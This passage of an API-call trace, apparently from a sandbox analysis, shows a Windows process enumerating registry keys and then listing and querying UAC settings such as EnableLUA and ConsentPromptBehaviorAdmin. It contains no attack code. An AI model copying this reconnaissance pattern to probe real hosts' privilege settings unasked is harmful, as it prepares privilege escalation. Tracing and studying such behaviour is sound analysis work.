lpWideCharStr="driversearching", cchWideChar=15, lpMultiByteStr=0x1d3c120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="driversearching", lpUsedDefaultChar=0x0) returned 15 [0040.687] RegEnumKeyW (in: hKey=0x34, dwIndex=0xf, lpName=0x1d3b930, cchName=0x104 | out: lpName="EventCollector") returned 0x0 [0040.687] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventcollector", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0040.687] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventcollector", cchWideChar=14, lpMultiByteStr=0x1d3c0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventcollector", lpUsedDefaultChar=0x0) returned 14 [0040.688] RegEnumKeyW (in: hKey=0x34, dwIndex=0x10, lpName=0x1d3b930, cchName=0x104 | out: lpName="EventForwarding") returned 0x0 [0040.688] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventforwarding", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0040.688] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventforwarding", cchWideChar=15, lpMultiByteStr=0x1d3c120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventforwarding", lpUsedDefaultChar=0x0) returned 15 [0040.688] RegEnumKeyW (in: hKey=0x34, dwIndex=0x11, lpName=0x1d3b930, cchName=0x104 | out: lpName="Explorer") returned 0x0 [0040.688] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0040.688] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x1d3c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="explorer", lpUsedDefaultChar=0x0) returned 8 [0040.688] RegEnumKeyW (in: hKey=0x34, dwIndex=0x12, lpName=0x1d3b930, cchName=0x104 | out: lpName="Ext") returned 0x0 [0040.688] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ext", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0040.688] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ext", cchWideChar=3, lpMultiByteStr=0x1d3c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ext", lpUsedDefaultChar=0x0) returned 3 [0040.688] RegEnumKeyW (in: hKey=0x34, dwIndex=0x13, lpName=0x1d3b930, cchName=0x104 | out: lpName="GameUX") returned 0x0 [0040.688] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gameux", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0040.688] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gameux", cchWideChar=6, lpMultiByteStr=0x1d3c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gameux", lpUsedDefaultChar=0x0) returned 6 [0040.688] RegEnumKeyW (in: hKey=0x34, dwIndex=0x14, lpName=0x1d3b930, cchName=0x104 | out: lpName="Group Policy") returned 0x0 [0040.688] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="group policy", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0040.688] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="group policy", cchWideChar=12, lpMultiByteStr=0x1d3c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="group policy", lpUsedDefaultChar=0x0) returned 12 [0040.688] RegEnumKeyW (in: hKey=0x34, dwIndex=0x15, lpName=0x1d3b930, cchName=0x104 | out: lpName="Hints") returned 0x0 [0040.688] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hints", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0040.688] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hints", cchWideChar=5, lpMultiByteStr=0x1d3c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hints", lpUsedDefaultChar=0x0) returned 5 [0040.688] RegEnumKeyW (in: hKey=0x34, dwIndex=0x16, lpName=0x1d3b930, cchName=0x104 | out: lpName="HomeGroup") returned 0x0 [0040.688] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroup", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0040.689] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroup", cchWideChar=9, lpMultiByteStr=0x1d3c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="homegroup", lpUsedDefaultChar=0x0) returned 9 [0040.689] RegEnumKeyW (in: hKey=0x34, dwIndex=0x17, lpName=0x1d3b930, cchName=0x104 | out: lpName="HotStart") returned 0x0 [0040.689] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hotstart", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0040.689] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hotstart", cchWideChar=8, lpMultiByteStr=0x1d3c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hotstart", lpUsedDefaultChar=0x0) returned 8 [0040.689] RegEnumKeyW (in: hKey=0x34, dwIndex=0x18, lpName=0x1d3b930, cchName=0x104 | out: lpName="IME") returned 0x0 [0040.689] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ime", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0040.689] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ime", cchWideChar=3, lpMultiByteStr=0x1d3c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ime", lpUsedDefaultChar=0x0) returned 3 [0040.689] RegEnumKeyW (in: hKey=0x34, dwIndex=0x19, lpName=0x1d3b930, cchName=0x104 | out: lpName="Installer") returned 0x0 [0040.689] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="installer", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0040.689] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="installer", cchWideChar=9, lpMultiByteStr=0x1d3c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="installer", lpUsedDefaultChar=0x0) returned 9 [0040.689] RegEnumKeyW (in: hKey=0x34, dwIndex=0x1a, lpName=0x1d3b930, cchName=0x104 | out: lpName="Internet Settings") returned 0x0 [0040.689] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet settings", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0040.689] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet settings", cchWideChar=17, lpMultiByteStr=0x1d3c120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet settings", lpUsedDefaultChar=0x0) returned 17 [0040.689] RegEnumKeyW (in: hKey=0x34, dwIndex=0x1b, lpName=0x1d3b930, cchName=0x104 | out: lpName="MCT") returned 0x0 [0040.689] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mct", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0040.690] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mct", cchWideChar=3, lpMultiByteStr=0x1d3c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mct", lpUsedDefaultChar=0x0) returned 3 [0040.690] RegEnumKeyW (in: hKey=0x34, dwIndex=0x1c, lpName=0x1d3b930, cchName=0x104 | out: lpName="Media Center") returned 0x0 [0040.690] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="media center", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0040.690] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="media center", cchWideChar=12, lpMultiByteStr=0x1d3c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="media center", lpUsedDefaultChar=0x0) returned 12 [0040.690] RegEnumKeyW (in: hKey=0x34, dwIndex=0x1d, lpName=0x1d3b930, cchName=0x104 | out: lpName="MMDevices") returned 0x0 [0040.690] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmdevices", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0040.690] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmdevices", cchWideChar=9, lpMultiByteStr=0x1d3c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mmdevices", lpUsedDefaultChar=0x0) returned 9 [0040.690] RegEnumKeyW (in: hKey=0x34, dwIndex=0x1e, lpName=0x1d3b930, cchName=0x104 | out: lpName="MSSHA") returned 0x0 [0040.690] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssha", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0040.690] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssha", cchWideChar=5, lpMultiByteStr=0x1d3c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mssha", lpUsedDefaultChar=0x0) returned 5 [0040.690] RegEnumKeyW (in: hKey=0x34, dwIndex=0x1f, lpName=0x1d3b930, cchName=0x104 | out: lpName="NetCache") returned 0x0 [0040.690] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netcache", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0040.690] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netcache", cchWideChar=8, lpMultiByteStr=0x1d3c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="netcache", lpUsedDefaultChar=0x0) returned 8 [0040.690] RegEnumKeyW (in: hKey=0x34, dwIndex=0x20, lpName=0x1d3b930, cchName=0x104 | out: lpName="OEMInformation") returned 0x0 [0040.690] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oeminformation", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0040.690] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oeminformation", cchWideChar=14, lpMultiByteStr=0x1d3c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oeminformation", lpUsedDefaultChar=0x0) returned 14 [0040.690] RegEnumKeyW (in: hKey=0x34, dwIndex=0x21, lpName=0x1d3b930, cchName=0x104 | out: lpName="OOBE") returned 0x0 [0040.690] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oobe", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0040.690] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oobe", cchWideChar=4, lpMultiByteStr=0x1d3c0d8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oobe", lpUsedDefaultChar=0x0) returned 4 [0040.690] RegEnumKeyW (in: hKey=0x34, dwIndex=0x22, lpName=0x1d3b930, cchName=0x104 | out: lpName="OptimalLayout") returned 0x0 [0040.691] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="optimallayout", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0040.691] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="optimallayout", cchWideChar=13, lpMultiByteStr=0x1d3c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="optimallayout", lpUsedDefaultChar=0x0) returned 13 [0040.691] RegEnumKeyW (in: hKey=0x34, dwIndex=0x23, lpName=0x1d3b930, cchName=0x104 | out: lpName="Parental Controls") returned 0x0 [0040.691] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="parental controls", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0040.691] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="parental controls", cchWideChar=17, lpMultiByteStr=0x1d3c0d8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="parental controls", lpUsedDefaultChar=0x0) returned 17 [0040.691] RegEnumKeyW (in: hKey=0x34, dwIndex=0x24, lpName=0x1d3b930, cchName=0x104 | out: lpName="Personalization") returned 0x0 [0040.691] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="personalization", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0040.691] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="personalization", cchWideChar=15, lpMultiByteStr=0x1d3c120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="personalization", lpUsedDefaultChar=0x0) returned 15 [0040.691] RegEnumKeyW (in: hKey=0x34, dwIndex=0x25, lpName=0x1d3b930, cchName=0x104 | out: lpName="PhotoPropertyHandler") returned 0x0 [0040.691] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="photopropertyhandler", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0040.691] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="photopropertyhandler", cchWideChar=20, lpMultiByteStr=0x1d3c0d8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="photopropertyhandler", lpUsedDefaultChar=0x0) returned 20 [0040.691] RegEnumKeyW (in: hKey=0x34, dwIndex=0x26, lpName=0x1d3b930, cchName=0x104 | out: lpName="PnPSysprep") returned 0x0 [0040.691] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pnpsysprep", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0040.691] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pnpsysprep", cchWideChar=10, lpMultiByteStr=0x1d3c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pnpsysprep", lpUsedDefaultChar=0x0) returned 10 [0040.691] RegEnumKeyW (in: hKey=0x34, dwIndex=0x27, lpName=0x1d3b930, cchName=0x104 | out: lpName="Policies") returned 0x0 [0040.691] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0040.691] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x1d3c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0040.691] RegOpenKeyExW (in: hKey=0x34, lpSubKey="Policies", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0x90) returned 0x0 [0040.691] RegCloseKey (hKey=0x34) returned 0x0 [0040.691] RegEnumKeyW (in: hKey=0x90, dwIndex=0x0, lpName=0x1d3b930, cchName=0x104 | out: lpName="ActiveDesktop") returned 0x0 [0040.692] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="activedesktop", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0040.692] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="activedesktop", cchWideChar=13, lpMultiByteStr=0x1d3c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="activedesktop", lpUsedDefaultChar=0x0) returned 13 [0040.692] RegEnumKeyW (in: hKey=0x90, dwIndex=0x1, lpName=0x1d3b930, cchName=0x104 | out: lpName="Attachments") returned 0x0 [0040.692] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="attachments", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0040.692] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="attachments", cchWideChar=11, lpMultiByteStr=0x1d3c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="attachments", lpUsedDefaultChar=0x0) returned 11 [0040.692] RegEnumKeyW (in: hKey=0x90, dwIndex=0x2, lpName=0x1d3b930, cchName=0x104 | out: lpName="Explorer") returned 0x0 [0040.692] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0040.692] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x1d3c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="explorer", lpUsedDefaultChar=0x0) returned 8 [0040.692] RegEnumKeyW (in: hKey=0x90, dwIndex=0x3, lpName=0x1d3b930, cchName=0x104 | out: lpName="NonEnum") returned 0x0 [0040.692] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="nonenum", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0040.692] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="nonenum", cchWideChar=7, lpMultiByteStr=0x1d3c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nonenum", lpUsedDefaultChar=0x0) returned 7 [0040.692] RegEnumKeyW (in: hKey=0x90, dwIndex=0x4, lpName=0x1d3b930, cchName=0x104 | out: lpName="System") returned 0x0 [0040.692] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0040.692] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x1d3c120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0040.692] RegOpenKeyExW (in: hKey=0x90, lpSubKey="System", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0x34) returned 0x0 [0040.692] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3b930) returned 1 [0040.692] RegCloseKey (hKey=0x90) returned 0x0 [0040.692] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3b860) returned 1 [0040.692] RegEnumValueA (in: hKey=0x34, dwIndex=0x0, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0040.693] RegEnumValueA (in: hKey=0x34, dwIndex=0x1, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0040.693] RegEnumValueA (in: hKey=0x34, dwIndex=0x2, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0040.693] RegEnumValueA (in: hKey=0x34, dwIndex=0x3, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0040.693] RegEnumValueA (in: hKey=0x34, dwIndex=0x4, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0040.693] RegEnumValueA (in: hKey=0x34, dwIndex=0x5, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0040.693] RegEnumValueA (in: hKey=0x34, dwIndex=0x6, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0040.693] RegEnumValueA (in: hKey=0x34, dwIndex=0x7, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0040.693] RegEnumValueA (in: hKey=0x34, dwIndex=0x8, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0040.693] RegEnumValueA (in: hKey=0x34, dwIndex=0x9, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0040.693] RegEnumValueA (in: hKey=0x34, dwIndex=0xa, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0040.693] RegEnumValueA (in: hKey=0x34, dwIndex=0xb, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0040.693] RegEnumValueA (in: hKey=0x34, dwIndex=0xc, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0040.694] RegEnumValueA (in: hKey=0x34, dwIndex=0xd, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0040.694] RegEnumValueA (in: hKey=0x34, dwIndex=0xe, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0040.694] RegEnumValueA (in: hKey=0x34, dwIndex=0xf, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0040.694] RegEnumValueA (in: hKey=0x34, dwIndex=0x10, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0040.694] RegQueryValueExA (in: hKey=0x34, lpValueName="EnableLUA", lpReserved=0x0, lpType=0x18fb9c, lpData=0x0, lpcbData=0x18fba4*=0x0 | out: 